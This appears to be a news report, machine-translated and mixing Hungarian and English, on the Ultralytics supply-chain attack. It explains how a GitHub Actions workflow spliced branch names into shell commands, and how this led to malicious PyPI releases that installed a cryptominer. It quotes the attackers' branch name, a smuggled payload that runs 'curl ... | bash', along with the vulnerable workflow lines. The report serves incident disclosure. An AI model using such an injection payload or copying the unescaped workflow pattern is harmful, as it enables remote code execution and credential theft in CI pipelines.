A t\u00e1mad\u00f3k k\u00e9pesek voltak k\u00f3dot futtatni a GitHub Actions kezel\u0151j\u00e9nek jogain, a Python Ultralytics k\u00f6nyvt\u00e1r\u00e1ban, amelyet sz\u00e1m\u00edt\u00f3g\u00e9pes l\u00e1t\u00e1s feladatok megold\u00e1s\u00e1ra haszn\u00e1lnak, mint p\u00e9ld\u00e1ul t\u00e1rgyak azonos\u00edt\u00e1sa k\u00e9peken \u00e9s k\u00e9pfeldolgoz\u00e1s. Miut\u00e1n hozz\u00e1f\u00e9r\u00e9st szereztek a k\u00f6nyvt\u00e1rhoz, a t\u00e1mad\u00f3k t\u00f6bb \u00faj ulralytics verzi\u00f3t tettek k\u00f6zz\u00e9 a PyPI k\u00f6nyvt\u00e1r\u00e1ban, amelyek rosszindulat\u00fa v\u00e1ltoztat\u00e1sokat tartalmaztak, hogy kriptovalut\u00e1t b\u00e1ny\u00e1szhassanak. Az utols\u00f3 h\u00f3napban az Ultralytics k\u00f6nyvt\u00e1rat a PyPI k\u00f6nyvt\u00e1r\u00e1b\u00f3l t\u00f6bb mint 6,4 milli\u00f3 alkalommal t\u00f6lt\u00f6tt\u00e9k le. <\/p>\n
A repository was compromised due to a vulnerability in the ultralytics-actions package, which is used to automatically trigger handlers upon specific actions taken in the repository on GitHub, utilizing the GitHub Actions mechanism. In the ultralytics project, the vulnerable handler was linked to the pull_request_target event and was triggered when new pull requests were received. In particular, to format the code in the submitted pull requests, the format.yml handler was called, executing the code specified in the \u2018run\u2019 section of the action.yml file, which included shell commands with substitution patterns: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name \u2018${{ inputs.github_username }}\u2019 git config --global user.email \u2018${{ inputs.github_email }}\u2019 <\/p>\n
Thus, the name of the Git branch mentioned in the pull request was inserted into shell commands without proper escaping. Notably, in August, a similar vulnerability related to using an external value in the echo function was already fixed in the ultralytics-actions package: echo \u2018github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\u2019 <\/p>\n
A k\u00edv\u00e1nt k\u00f3d GitHub Actions kezel\u0151 kontextus\u00e1ban val\u00f3 v\u00e9grehajt\u00e1s\u00e1nak megszervez\u00e9s\u00e9hez a t\u00e1mad\u00f3k pull k\u00e9r\u00e9st k\u00fcldtek az ultralytics k\u00f6nyvt\u00e1rba, ahol a k\u00f6vetkez\u0151 \u00e1g nevet adt\u00e1k meg: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Accordingly, when a pull request was received, the string specified by the attackers \u2018$(…)\u2019 was substituted into the code, which subsequently led to the execution of the command \u2018curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash\u2019 when the handler was executed.
<\/center> <\/p>\n
A k\u00f3d futtat\u00e1sa a GitHub Actions k\u00f6rnyezet\u00e9ben haszn\u00e1lhat\u00f3 a hozz\u00e1f\u00e9r\u00e9si token \u00e9s egy\u00e9b bizalmas adatok megszerz\u00e9s\u00e9re. Hogy pontosan hogyan tudt\u00e1k a t\u00e1mad\u00f3k l\u00e9trehozni a kiad\u00e1st, ami lehet\u0151v\u00e9 tette sz\u00e1mukra saj\u00e1t k\u00f3djuk futtat\u00e1s\u00e1t a GitHub Actions-ban, m\u00e9g nem vil\u00e1gos, de felt\u00e9telezik, hogy ezt a publish.yml feldolgoz\u00f3 m\u00f3dos\u00edt\u00e1s\u00e1val \u00e9rt\u00e9k el (a t\u00e1mad\u00f3k elt\u00e1vol\u00edtott\u00e1k a k\u00f6zz\u00e9t\u00e9teli enged\u00e9lyezett fi\u00f3k ellen\u0151rz\u00e9s\u00e9t a PyPI-n), valamint a GitHub Actions build cache megfert\u0151z\u00e9s\u00e9nek technik\u00e1j\u00e1nak felhaszn\u00e1l\u00e1s\u00e1val, hogy a saj\u00e1t adataikat helyettes\u00edts\u00e9k a kiad\u00e1sban. <\/p>\n
Az els\u0151 rosszindulat\u00fa Ultralytics 8.3.41 kiad\u00e1st a t\u00e1mad\u00f3k a PyPI katal\u00f3gus\u00e1ban 4-\u00e9n 23:51-kor (MSK) tett\u00e9k k\u00f6zz\u00e9, \u00e9s a k\u00f6vetkez\u0151 napon 12:15-kor t\u00f6r\u00f6lt\u00e9k. 15:47-kor megjelent egy \u00fajabb 8.3.42 kiad\u00e1s, amelyet 16:47-kor szint\u00e9n t\u00f6r\u00f6ltek. \u00cdgy a rosszindulat\u00fa verzi\u00f3k \u00f6sszesen k\u00f6r\u00fclbel\u00fcl 13 \u00f3r\u00e1n \u00e1t voltak el\u00e9rhet\u0151k let\u00f6lt\u00e9sre (a PyPI-n naponta k\u00f6r\u00fclbel\u00fcl 250 ezer let\u00f6lt\u00e9s t\u00f6rt\u00e9nik az ultralytics k\u00f6nyvt\u00e1rb\u00f3l). A 8.3.41 \u00e9s 8.3.42 kiad\u00e1sok sor\u00e1n k\u00f3d volt, amely k\u00fcls\u0151 a szerver<\/a> XMRig \u00f6sszetev\u0151t t\u00f6lt\u00f6tt le a kriptovaluta b\u00e1ny\u00e1szat\u00e1hoz. <\/p>\n
![\"A](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n